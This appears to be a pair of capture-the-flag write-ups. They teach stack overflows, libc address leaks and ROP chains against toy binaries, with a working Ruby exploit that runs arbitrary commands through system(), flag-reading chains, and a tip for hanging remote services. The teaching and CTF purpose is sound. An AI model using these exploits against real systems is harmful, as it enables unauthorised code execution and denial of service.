The first is in the .plt, which is an executable section that is used to call external libraries (and one we’ll see a little later). The second is in the .text section, which is where the bulk of the code is stored. Either will work perfectly fine, so let’s pick the one in main() because it feels better to run code in main(). We overwrite the return address with 0x4011a0, encoded in little endian (I should also note that because this is a 64-bit amd64 executable (as opposed to a 32-bit x86), addresses are 8 bytes long:
$ echo -ne 'AAAAAAAAAAAAAA\n''BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO\xa0\x11\x40\x00\x00\x00\x00\x00' > test.bin
$ ./goto-zero.patched < test.bin
Enter 14 characters then press enter!
What is your name?
Good job, BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO�@fish: Job 1, './goto-zero.patched < test.bin' terminated by signal SIGTRAP (Trace or breakpoint trap)
Crashing with SIGTRAP is what we want to see! Note that your shell might show it a little differently, this is what it looks like in Bash:
$ ./goto-zero.patched < test.bin
Enter 14 characters then press enter!
What is your name?
Good job, BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO�@Trace/breakpoint trap (core dumped)
Worst case, a debugger will always show it:
(gdb) run < test.bin
Starting program: /home/ron/projects/ctf/goto-zero/goto-zero.patched < test.bin
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
Enter 14 characters then press enter!
What is your name?
Good job, BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO�@
Program received signal SIGTRAP, Trace/breakpoint trap.
0x00000000004011a1 in main ()
For extra bonus points, if you can find the byte sequence eb f0, that’s an infinite loop (it’s a 2 byte sequence that decodes to “jump backwards 2 bytes”), which lets you lock up an executable entirely. You can verify that a remote target is vulnerable by setting the return address to memory containing eb f0, and then seeing if the session locks up (that’s also kinda rude if it’s not your server!)
So remember how we used a cc instruction from the middle of another instruction? In this code:
40119e: 89 7d cc mov DWORD PTR [rbp-0x34],edi
This is the first tiny little piece of “return oriented programming”, or ROP, that we’re doing. But we’re going to do a lot more!
In the olden days, systems and binaries had executable stacks. That means that if you overflowed the stack and changed the return address, you could just send code along with the updated return address and jump to that code, and you’re basically done - you’re executing arbitrary code.
Thankfully, pretty much no application in the last 20 years ships with an executable stack, even CTF challenges typically don’t (a notable exception is Citrix ADC, which runs its entire network stack including protocol parsers in a root module with an executable stack - see my writeup for cve-2023-3519). That means we need another way to execute code that we want!
The trick folks found is to use code that is already loaded in memory and executable, but to use it in a way that nobody would expect. The core idea behind ROP is that you find little bits and pieces of code (called “gadgets”) to do complete little tasks, and have each one jump to the next one by chaining them together as return addresses.
Normally, you’re doing one of two things:
pop / ret); orMost of the time when using ROP, unless you’re getting super complex, you’re using little gadgets to set up arguments to a function, then you’re calling that function, and repeat (note that x86 and amd64 vary here - you don’t normally need to set up registers on x86 since arguments are passed on the stack, but that’s a bit beyond the scope here).
So let’s talk function arguments!
Much earlier, when we saw time / srand / rand, we saw arguments being passed in edi (which is essentially rdi):
4011e1: bf 00 00 00 00 mov edi,0x0
4011e6: e8 95 fe ff ff call 401080 <time@plt>
4011eb: 89 c7 mov edi,eax
4011ed: e8 5e fe ff ff call 401050 <srand@plt>
This is what’s known as a calling convention - specifically, the calling convention used by amd64 Linux (that I have to look up every time I do this). The first four arguments to any function are passed in: rdi, rsi, rdx, then rcx, which means if you want to call a function with, say, two arguments, the first goes into rdi and the second goes into rsi.
For each of those arguments, we need to find a way to set it to a value then return again. Since you’re controlling the stack already, the easiest way to do that is with pop <reg> followed by ret.
Depending on how big the binary is, it might be easier or harder to find clean versions of these. Sometimes you’ll find pop rsi / <do a few irrelevant things> / ret. Sometimes you’ll need to chain together multiple gadgets to do a single thing. It can get very tricky, but CTFs will usually give you the tools you need.
Another thing to mention is: there are tools that will find these for you. I’ve never personally used one, though probably I should - I just look for the right sequences by hand, normally they’re pretty obvious (don’t forget to look inside other instructions, though!).
Let’s look for a pop rdi / ret instruction! We can assemble and disassemble a little program using nasm to figure out what we’re looking for:
$ cat test.asm
bits 64
pop rdi
ret
$ nasm -o test.bin test.asm
$ hexdump -C test.bin
00000000 5f c3 |_.|
$ ndisasm -b64 test.bin
00000000 5F pop rdi
00000001 C3 ret
So basically, we need a 5f, followed by c3 (but not necessarily adjacent). That sequence is found quite commonly at the end of functions, so you’ll usually be able to find it pretty easily. In the toy challenge I made, I just added one after main so you don’t really have to search:
40127f: c3 ret
401280: cc int3
401281: 5f pop rdi
401282: c3 ret
So let’s take our payload from earlier, and instead of the debug address we’ll use the pop rdi instruction as the return address (0x401281), followed by a value that will go into rdi (0x1234567812345678). Once 0x1234567812345678 is popped into rdi, the ret will execute and whatever is next on the stack is the next return address. For that, we’ll use our debug breakpoint from earlier (0x4011a0).
All put together (once again using '' as a visual separator), we get:
$ echo -ne 'AAAAAAAAAAAAAA\n''BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO''\x81\x12\x40\x00\x00\x00\x00\x00''\x78\x56\x34\x12\x78\x56\x34\x12''\xa0\x11\x40\x00\x00\x00\x00\x00' > test.bin
Then run it in a debugger:
(gdb) run < test.bin
[...]
Program received signal SIGTRAP, Trace/breakpoint trap.
0x00000000004011a1 in main ()
Crashing at a SIGTRAP means we’re still ending with our debug statement - that’s good news! If you’re getting a SIGSEGV, that means you’re ending up at the wrong place. Inspecting the address you’re at (x/i $rip) and the top of the stack (x/xg $rsp) might give you hints.
If it worked, we can use print/x to print the register in heX to check what’s in rdi:
(gdb) print/x $rdi
$1 = 0x1234567812345678
We did it!
Okay, now what are we actually trying to do?
We’re trying to get code execution, but how? We mentioned that you can set up arguments and then call functions. But what functions can we actually call?
Because our binary isn’t compiled with PIE, we have a menu of functions that we can call, and we can see it with objdump -T:
$ objdump -T ./goto-zero.patched
./goto-zero.patched: file format elf64-x86-64
DYNAMIC SYMBOL TABLE:
0000000000000000 DF *UND* 0000000000000000 (GLIBC_2.34) __libc_start_main
0000000000000000 DF *UND* 0000000000000000 (GLIBC_2.2.5) puts
0000000000000000 DF *UND* 0000000000000000 (GLIBC_2.2.5) printf
0000000000000000 DF *UND* 0000000000000000 (GLIBC_2.2.5) srand
0000000000000000 DF *UND* 0000000000000000 (GLIBC_2.2.5) fgets
0000000000000000 DF *UND* 0000000000000000 (GLIBC_2.2.5) getchar
0000000000000000 w D *UND* 0000000000000000 Base __gmon_start__
0000000000000000 DF *UND* 0000000000000000 (GLIBC_2.2.5) time
0000000000000000 DF *UND* 0000000000000000 (GLIBC_2.2.5) setvbuf
0000000000000000 DF *UND* 0000000000000000 (GLIBC_2.2.5) rand
0000000000404060 g DO .bss 0000000000000008 (GLIBC_2.2.5) stdout
0000000000404070 g DO .bss 0000000000000008 (GLIBC_2.2.5) stdin
0000000000404080 g DO .bss 0000000000000008 (GLIBC_2.2.5) stderr
There’s really not much there. That’s a problem. If we want to run code, we need to be able to make an arbitrary syscall, or write a file (open / write), or run a command (system), or allocate executable memory (mmap), or something else fun. None of those functions are what I’d call “fun”. So where do we find fun functions?
We find fun functions in libc.so, which unfortunately IS compiled with PIE, so we can’t just jump to it - every time the binary starts, it’s loaded to a new address.
However, PIE only means we change where we load something into memory, not what we load into memory. The layout of libc.so will always be the same once it’s loaded. That means if we can find one thing in libc.so, we can use the magic of math to find every thing.
In other words, our goal is to leak one libc.so memory address. Then suddenly, we have access to every function and gadget in libc.so!
We do, thankfully, have a function that can print stuff. Several, actually! puts() is probably the easiest. As usual, I like to test things before I actually do them, so let’s look at how to test it.
The first argument to puts is a string that will be printed. That means we want to set rdi to a string that, if output, would stand out.
Let’s use our pop rdi / ret gadget again, but this time instead of a recognizable number, we’ll put this memory address into rdi:
(gdb) x/s 0x402010
0x402010: "Enter %d characters then press enter!\n"
That’ll definitely stand out! So now our call stack is:
pop rdi / ret (0x401281)Next, we need to call puts(). We can find the indirect call to puts() in the .plt section:
0000000000401030 <puts@plt>:
401030: ff 25 ca 2f 00 00 jmp QWORD PTR [rip+0x2fca] # 404000 <puts@GLIBC_2.2.5>
401036: 68 00 00 00 00 push 0x0
40103b: e9 e0 ff ff ff jmp 401020 <_init+0x20>
So the third thing we put on the stack is that address - 0x401030. Now our stack is:
pop rdi / ret (0x401281)puts() (0x401030)The final thing is our old friend the debug breakpoint - that way we can make sure everything is going right - 0x4011a0. So here’s our final stack:
pop rdi / ret (0x401281)puts() (0x401030)So now encode that all into our payload, remembering that each address is encoded into 8 backwards (little endian) bytes:
$ echo -ne 'AAAAAAAAAAAAAA\n''BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO''\x81\x12\x40\x00\x00\x00\x00\x00''\x10\x20\x40\x00\x00\x00\x00\x00''\x30\x10\x40\x00\x00\x00\x00\x00''\xa0\x11\x40\x00\x00\x00\x00\x00' > test.bin
$ ./goto-zero.patched < test.bin
Enter 14 characters then press enter!
What is your name?
Good job, BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO�@Enter %d characters then press enter!
fish: Job 1, './goto-zero.patched < test.bin' terminated by signal SIGTRAP (Trace or breakpoint trap)
Well there we go! We printed out some arbitrary memory and then hit a debug breakpoint!
Do you know what else lives in arbitrary memory? Memory addresses! Remember what we needed to call a libc.so function? A memory address!
Let’s look at that .plt thing again.
Since we could call puts() from our own binary, it’s somewhat obvious that our binary has libc.so addresses somewhere! Otherwise, it wouldn’t know where to go.
The way linking and imports and stuff actually work is kinda complex - the book Practical Binary Analysis explains it better than most - but suffice to say that we can find libc.so addresses in the non-PIE binary we’re running if we know where to look.
Once again, non-objdump tools are much better at displaying these addresses, but here’s the .plt entry for puts:
0000000000401030 <puts@plt>:
401030: ff 25 ca 2f 00 00 jmp QWORD PTR [rip+0x2fca] # 404000 <puts@GLIBC_2.2.5>
401036: 68 00 00 00 00 push 0x0
40103b: e9 e0 ff ff ff jmp 401020 <_init+0x20>
The first line does some math to reference a different part of the binary. objdump helpfully does that math and says it’s 0x404000. That’s the address where the actual puts address is stored, but with a little twist: it’s only there after it’s called - the linking is done opportunistically (see Practical Binary Analysis for all the details).
When you first run the executable, before doing anything, we can print the data at 0x404000:
(gdb) run
[...]
Enter 14 characters then press enter!
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ec5e11 in __GI___libc_read (fd=0, buf=0x4056b0, nbytes=1024) at ../sysdeps/unix/sysv/linux/read.c:26
26 return SYSCALL_CANCEL (read, fd, buf, nbytes);
(gdb) x/xg 0x404000
0x404000 <puts@got.plt>: 0x0000000000401036
It stores 0x401036, which is an address in the binary itself - not in libc.so. But if we let the puts() run and then inspect it, it’s changed:
(gdb) run
[...]
Enter 14 characters then press enter!
AAAAAAAAAAAAAA
What is your name?
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ec5e11 in __GI___libc_read (fd=0, buf=0x4052a0, nbytes=1024) at ../sysdeps/unix/sysv/linux/read.c:26
26 return SYSCALL_CANCEL (read, fd, buf, nbytes);
(gdb) x/xg 0x404000
0x404000 <puts@got.plt>: 0x00007ffff7e3c0a0
And there’s a libc.so address! You’ll recognize them because they usually start with 0x7f.
So now, let’s leak that address!
Now all we have to do is take the most recent exploit we wrote, and instead of printing off “Enter %d characters then press enter!”, we print off 0x404000! It’s not going to be pretty, because it’s binary, but it should work.
Let’s update that call stack from earlier:
pop rdi / ret (0x401281)puts() (0x401030)$ echo -ne 'AAAAAAAAAAAAAA\n''BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO''\x81\x12\x40\x00\x00\x00\x00\x00''\x00\x40\x40\x00\x00\x00\x00\x00''\x30\x10\x40\x00\x00\x00\x00\x00''\xa0\x11\x40\x00\x00\x00\x00\x00' > test.bin
$ ./goto-zero.patched < test.bin
Enter 14 characters then press enter!
What is your name?
Good job, BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO�@�Q�V
fish: Job 1, './goto-zero.patched < test.bin' terminated by signal SIGTRAP (Trace or breakpoint trap)
Notice the �@�Q�V at the end? That’s the address of puts in libc.so (and, as such, it changes every time)! We can see it better with hexdump:
$ ./goto-zero.patched < test.bin | hexdump -C
00000000 45 6e 74 65 72 20 31 34 20 63 68 61 72 61 63 74 |Enter 14 charact|
00000010 65 72 73 20 74 68 65 6e 20 70 72 65 73 73 20 65 |ers then press e|
00000020 6e 74 65 72 21 0a 57 68 61 74 20 69 73 20 79 6f |nter!.What is yo|
00000030 75 72 20 6e 61 6d 65 3f 0a 0a 47 6f 6f 64 20 6a |ur name?..Good j|
00000040 6f 62 2c 20 42 42 42 42 43 43 43 43 44 44 44 44 |ob, BBBBCCCCDDDD|
00000050 45 45 45 45 46 46 46 46 47 47 47 47 48 48 48 48 |EEEEFFFFGGGGHHHH|
00000060 49 49 49 49 4a 4a 4a 4a 4b 4b 4b 4b 4c 4c 4c 4c |IIIIJJJJKKKKLLLL|
00000070 4d 4d 4d 4d 4e 4e 4e 4e 4f 4f 4f 4f 81 12 40 a0 |MMMMNNNNOOOO..@.|
00000080 d0 98 ca 12 7f 0a |......|
See how (other than the newline - 0a) it ends with, in reverse order, 0x7f12ca98d0a0? If we check the symbol exports for /lib64/libc.so, we’ll see that the address for puts() ends with the same number:
$ objdump -T /lib64/libc.so.6 | grep puts
00000000000840a0 w DF .text 0000000000000206 GLIBC_2.2.5 puts
That’s a very good sign!
If we do some math, 0x7f12ca98d0a0 - 0x840a0 = 0x7f12ca909000, which is the address where libc.so was loaded on that particular execution. Now we can use that to figure out the address of any other libc.so function starting from that base address and adding the offset!
Okay, where do we want to return after we’ve leaked the address?
This is what took me a bit of time, and where I found a technique that I’d never used before (though I betcha every other CTF player has) - we can return to the top of main() and let the program have its Groundhog Day - it starts from the top, and as far as it knows, nothing has happened. You can just exploit it again, but this time we know an address in libc!
Here’s our final ROP stack (for now):
pop rdi / ret (0x401281)puts() (0x401030)main() (0x401196)Let’s run it:
$ echo -ne 'AAAAAAAAAAAAAA\n''BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO''\x81\x12\x40\x00\x00\x00\x00\x00''\x00\x40\x40\x00\x00\x00\x00\x00''\x30\x10\x40\x00\x00\x00\x00\x00''\x96\x11\x40\x00\x00\x00\x00\x00' > test.bin
$ ./goto-zero.patched < test.bin
Enter 14 characters then press enter!
What is your name?
Good job, BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO�@Enter %d characters then press enter!
Enter 14 characters then press enter!
What is your name?
Good job, ����fish: Job 1, './goto-zero.patched < test.bin' terminated by signal SIGSEGV (Address boundary error)
See how it starts over, asks for the player’s name, etc? The whole program runs a second time. But this time, we’re ready!
So now, let’s make the binary into a network service:
$ ncat -e ./goto-zero.patched -k -l -p 1234
That’ll redirect stdin/stdout across the network like in a CTF challenge. We can connect to it and exploit it using nc or ncat:
$ nc -v localhost 1234
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Connected to ::1:1234.
Enter 14 characters then press enter!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
What is your name?
Good job, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
But we don’t really get output anymore. You can debug ncat, but that gets kinda complicated (you need to set follow-fork-mode child).
$ gdb -q --args ncat -vv -e ./goto-zero.patched -l -p 1234
[...]
(gdb) set follow-fork-mode child
(gdb) run
Starting program: /usr/bin/ncat -vv -e ./goto-zero.patched -l -p 1234
In another terminal:
$ nc localhost 1234
Enter 14 characters then press enter!
AAAAAAAAAAAAAA
What is your name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Good job, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
And back in ncat:
Thread 2.1 "goto-zero.patch" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff7db5740 (LWP 438720)]
0x000000000040127f in main ()
(gdb) x/xg $rsp
0x7fffffffe178: 0x4141414141414141
A couple notes on this:
gdb completely because it now thinks it’s the binary, not ncatSIGPIPE (the original binary isn’t like that - I didn’t notice till now and I don’t want to re-do all my examples!)At this point, we can no longer just use a file and wave away the complexity - we need to read the libc.so value and do some math.
I’m just going to reproduce my full exploit here and try to annotate it in comments. Enjoy!
# encoding: ASCII-8BIT
require 'socket'
# Use variables for host/port so we can change them to the real target later
IP = 'localhost'
PORT = 1234
s = TCPSocket.new(IP, PORT)
# This is a rally crappy function that reads one character at a time from the
# network stream until it ends with a value or disconnects - there are better
# ways to do this, but this works so whatever
def read_until(s, p, loud: false)
#puts "(Waiting for server to say \"#{p}\"...)"
data = ''
loop do
char = s.read(1)
if loud
print char
end
if char.nil? || char == ''
raise "Disconnected!"
end
data.concat(char)
if data.end_with?(p)
return data
end
end
end
# Our initial gadgets - name them so you don't get confused later!
POP_RDI_RET = 0x401281
PUTS_PLT_ENTRY = 0x404000
PUTS = 0x401030
MAIN = 0x401196
DEBUG = 0x4011a0
# Read the initial banner
welcome_str = read_until(s, 'enter!')
# Extract the number so we don't have to patch our binary anymore
welcome_str =~ /Enter ([0-9]+) char/
# Send the values it wants
s.write(('A' * $1.to_i) + "\n")
# Read the next prompt
read_until(s, 'name?')
# Build the same stack from the write-up
EXPLOIT = [
POP_RDI_RET, # Initial return address
PUTS_PLT_ENTRY, # rdi = addr of puts() to print
PUTS, # NEXT return address - actual puts()
MAIN, # End at MAIN
].pack('Q*') # pack('Q*'), in Ruby, means encode as 64-bit little endian integers
# Send our overflow + exploit + newline
s.write(("A" * 56) + EXPLOIT + "\n")
# The last thing that prints before our payload is the address of POP_EDI_RET,
# so read to that
read_until(s, "\x81\x12\x40")
# Then read to the newline right after the leak
out = read_until(s, "\x0a")
# Remove the newline
out.gsub!(/\x0a$/, '')
# Now we have our libc base address!
LIBC_BASE_ADDRESS = (out + "\x00\x00").unpack('Q').pop
puts
puts "LIBC base (ie, addr of puts): 0x%x" % LIBC_BASE_ADDRESS
puts
# Now we kinda start over! Except now we can use addresses from libc.so,
# relative to the address we determined
# Address of system()
SYSTEM = LIBC_BASE_ADDRESS - 0x2edf0
# Address of sleep() - for testing
SLEEP = LIBC_BASE_ADDRESS + 0x7e1d0
# Address of pop rsi / pop <something I don't care> / ret
# (Recall we need rsi for second arg)
POP_RSI_POP_R15_POP_RBP_RET = LIBC_BASE_ADDRESS + 0x1919a7
# Address of pop rdx / pop <something I don't care> / ret
# (Recall we need rdx for third arg)
POP_RDX_RET = 0x401283
# Address of read() function, for populating memory
READ = LIBC_BASE_ADDRESS + 0x89d60
# Some random memory in the .data section that we can use for temp storage
WRITABLE_MEMORY = LIBC_BASE_ADDRESS + 0x163f60
# Read the initial banner (again)
welcome_str = read_until(s, 'enter!')
# Extract the number so we don't have to patch our binary anymore
welcome_str =~ /Enter ([0-9]+) char/
# Send the values it wants
s.write(('A' * $1.to_i) + "\n")
# Read the next prompt
read_until(s, 'name?')
# Call sleep() to make sure it's working
# EXPLOIT2 = [
# POP_RDI_RET,
# 5,
# SLEEP,
# DEBUG
# ].pack('Q*')
EXPLOIT2 = [
# Set up a read() syscall to read arbitrary data into memory
# First argument = fd = 0 (read from stdin)
POP_RDI_RET,
0,
# Second arg = buffer = anywhere we can write
POP_RSI_POP_R15_POP_RBP_RET,
WRITABLE_MEMORY,
0x1337, # Doesn't matter (goes into r15)
0x1337, # Doesn't matter (goes into rbp)
# Third arg = size
POP_RDX_RET,
ARGV[0].length + 1,
# Return into READ - this will put our command into memory!
READ,
# Set up system() call to run the command
POP_RDI_RET,
WRITABLE_MEMORY,
# Return straight into SYSTEM
SYSTEM,
].pack('Q*')
s.write(("A" * 56) + EXPLOIT2 + "\n")
# Not sure if the sleep is necessary but it helps me feel better!
sleep 1
s.write("#{ARGV[0]}\0\n")
sleep 1
# Then just read everything
loop do
a = s.read(1)
if a.nil? || a == ''
exit
end
print a
end
In essence, that:
puts to get the libc address of putsread() to get the command from stdin, then into system() to run the commandGood luck, and hope that makes sense!
]]>turing-complete, turing-incomplete, and turing-incomplete64 from the BSides San Francisco 2024 CTF!
turing-complete is a 101-level reversing challenge, and turing-incomplete is a much more difficult exploitation challenge with a very similar structure. turing-incomplete64 is a 64-bit version of turing-incomplete, which isn’t necessarily harder, but is different.
Let’s look at the levels!
turing-completeMy ideas doc said “Turing Machine?” from a long time ago. I don’t really remember what I was thinking, but what I decided was to make a simple reversing challenge with a finite tape and 4 operations - go left, go right, read, and write. All commands and responses are binary (1s and 0s), which is hinted at by the instructions being a series of binary bits.
The actual main loop, in C, is quite simple:
uint8_t tape[128];
// ...write the flag to the tape...
for(;;) {
uint8_t a = r();
if(a == 2) break;
uint8_t b = r();
if(b == 2) break;
if(a == 0 && b == 0) {
ptr++;
} else if(a == 0 && b == 1) {
ptr--;
} else if(a == 1 && b == 0) {
printf("%08b", *ptr);
} else if(a == 1 && b == 1) {
uint8_t value = (r() << 7) | (r() << 6) | (r() << 5) | (r() << 4) | (r() << 3) | (r() << 2) | (r() << 1) | (r() << 0);
*ptr = value;
}
fflush(stdout);
}
Since the flag is on the tape, the challenge is straight forward - just read it! That’s where’ turing-incomplete is going to vary :)
Here is my solution with comments:
# Connect to the service
s = TCPSocket.new(host, port)
# Read the instructions
s.gets()
# Skip the part of the tape with boring words
1.upto(40) do
s.write(RIGHT)
end
# Read each character, move right, and convert it to a character
flag = 1.upto(expected_flag().length).map do
s.write(PRINT + RIGHT)
s.read(8).to_i(2).chr
end.join
turing-incompleteturing-incomplete is exactly the same as turing-complete, but with one exception: the flag isn’t loaded into the binary. And that’s kind of a big deal, because now you have to get code execution!
I also compiled it with all the usual security protections, so you have to overcome ASLR and DEP and stack cookies and everything. But, since we have easy read/write up the stack, those can all be bypassed pretty easily. I also provided a copy of the appropriate libc.so.6 so you don’t have to grab your own copy.
You can grab the solution on the GitHub release, but I’ll show and explain each part of it below.
First, we need to stash a shell command (we’re going to use cat /home/ctf/flag.txt):
# Small offset to align us
s.write(RIGHT * 0x3)
# Use some unused stack space to store our command for later
s.write(RIGHT * 1000)
# Write the command to the stack, one byte at a time
COMMAND = "cat /home/ctf/flag.txt\0"
COMMAND.bytes.each do |b|
write_8_bits_right(s, b)
end
# Go backwards - this rewinds to a point on the stack where we can reliably find
# a stack reference
s.write(LEFT * (1000 + COMMAND.length - 132))
We move the pointer way to the right so we aren’t on a park of the stack that isn’t going to get overwritten, then write the payload byte by byte.
Second, we leak a stack address; starting with the last line from the previous example:
# Go backwards - this rewinds to a point on the stack where we can reliably find
# a stack reference
s.write(LEFT * (1000 + COMMAND.length - 132))
# Read a stack address
STACK_ADDR = read_32_bits_right(s)
# Calculate where our command is, based on the known address and the 1000-byte
# offset
COMMAND_ADDR = STACK_ADDR - 0xc4 + 1000
puts "Command should be @ %x" % COMMAND_ADDR
From pure experimentation, I determined that the address 132 bytes from the start of the buffer is a stack address. The value points to 0xc4 bytes after the start of our buffer, so if we subtract 0xc4 then add 1000 bytes, we get a pointe to where our command is in memory. We can pass that value to system(), which we’ll do later!
Third, we leak a libc address (specifically, the return address). Knowing one address in libc.so.6 will let us determine any other address in libc.so.6! So we move up to the return address then read it:
# Keep progressing up to the return address
s.write(RIGHT * 40)
# Read the original return address, then go back so we can overwrite it
ACTUAL_RETURN_ADDRESS = read_32_bits_right(s)
s.write(LEFT * 4)
puts 'Return address on the stack: %x' % ACTUAL_RETURN_ADDRESS
# Calculate the base address (ie, start of libc) - that'll let us figure out
# where the functions we want are
BASE_ADDRESS = (ACTUAL_RETURN_ADDRESS - RETURN_ADDRESS)
puts 'Base address: %x' % BASE_ADDRESS
And finally, we overwrite the return address (and ensuing stack addresses) with a very simple ROP chain:
# Set up a small ROP chain to call system, then exit
write_32_bits_right(s, BASE_ADDRESS + SYSTEM) # Return address (from main())
write_32_bits_right(s, BASE_ADDRESS + EXIT) # Return address (from system())
write_32_bits_right(s, COMMAND_ADDR) # First argument to system()
write_32_bits_right(s, 0) # Return address (from exit()) - unused
write_32_bits_right(s, 0) # First argument to exit()
That’ll return to system(), with the first parameter set to the address of the command (that we leaked earlier). system() will run that command, then return into exit() and exit cleanly. That part isn’t necessary, I just like being polite!
That’s pretty much it! Check out the full solution to see how those functions work, if you like.
turing-incomplete64turing-incomplete64 is compiled from the exact same source as turing-incomplete, the only different is that it’s compiled in 64-bit mode.
The exploit is largely the same as well. The numbers are different, but we leak the stack address and return address and everything identically. The only difference is the actual ROP payload:
# Do a 3-element ROP chain - I don't know why system() isn't working, but this
# is!
# *** open(file, 0, 0)
write_64_bits_right(s, BASE_ADDRESS + POP_RDI_RET)
write_64_bits_right(s, COMMAND_ADDR)
write_64_bits_right(s, BASE_ADDRESS + POP_RSI_RET)
write_64_bits_right(s, 0)
write_64_bits_right(s, BASE_ADDRESS + POP_RCX_RET)
write_64_bits_right(s, 0)
write_64_bits_right(s, BASE_ADDRESS + OPEN)
# *** read(5, buffer)
write_64_bits_right(s, BASE_ADDRESS + POP_RDI_RET)
write_64_bits_right(s, 5)
write_64_bits_right(s, BASE_ADDRESS + POP_RSI_RET)
write_64_bits_right(s, COMMAND_ADDR)
write_64_bits_right(s, BASE_ADDRESS + POP_RCX_RET)
write_64_bits_right(s, expected_flag().length)
write_64_bits_right(s, BASE_ADDRESS + READ)
# *** puts(buffer)
write_64_bits_right(s, BASE_ADDRESS + POP_RDI_RET)
write_64_bits_right(s, COMMAND_ADDR)
write_64_bits_right(s, BASE_ADDRESS + PUTS)
# *** exit(0)
write_64_bits_right(s, BASE_ADDRESS + POP_RDI_RET)
write_64_bits_right(s, 0)
write_64_bits_right(s, BASE_ADDRESS + EXIT)
# Tell it we're quitting
s.write("q\n")
The first thing you might notice is the POP_RDI_RET and POP_RSI_RET nonsense - that’s because the calling convention for amd64 passes arguments in rdi, rsi, rdx. That’s different from x86, which passes arguments on the stack (in most cases). So we need to use a variety of pop + ret functions to set up the registers for each function call.
The other thing you might notice is that we’re using open / read / puts instead of system. I don’t know why popen and system don’t work, but they would crash with a segfault. Those functions can be finnicky sometimes, so I didn’t spend a lot of time on them. I considered using mprotect, like I did with another challenge, but decided to take the easy approach - just read the file and print it.
And it worked!
That’s it! Hope you enjoyed this write-up!
]]>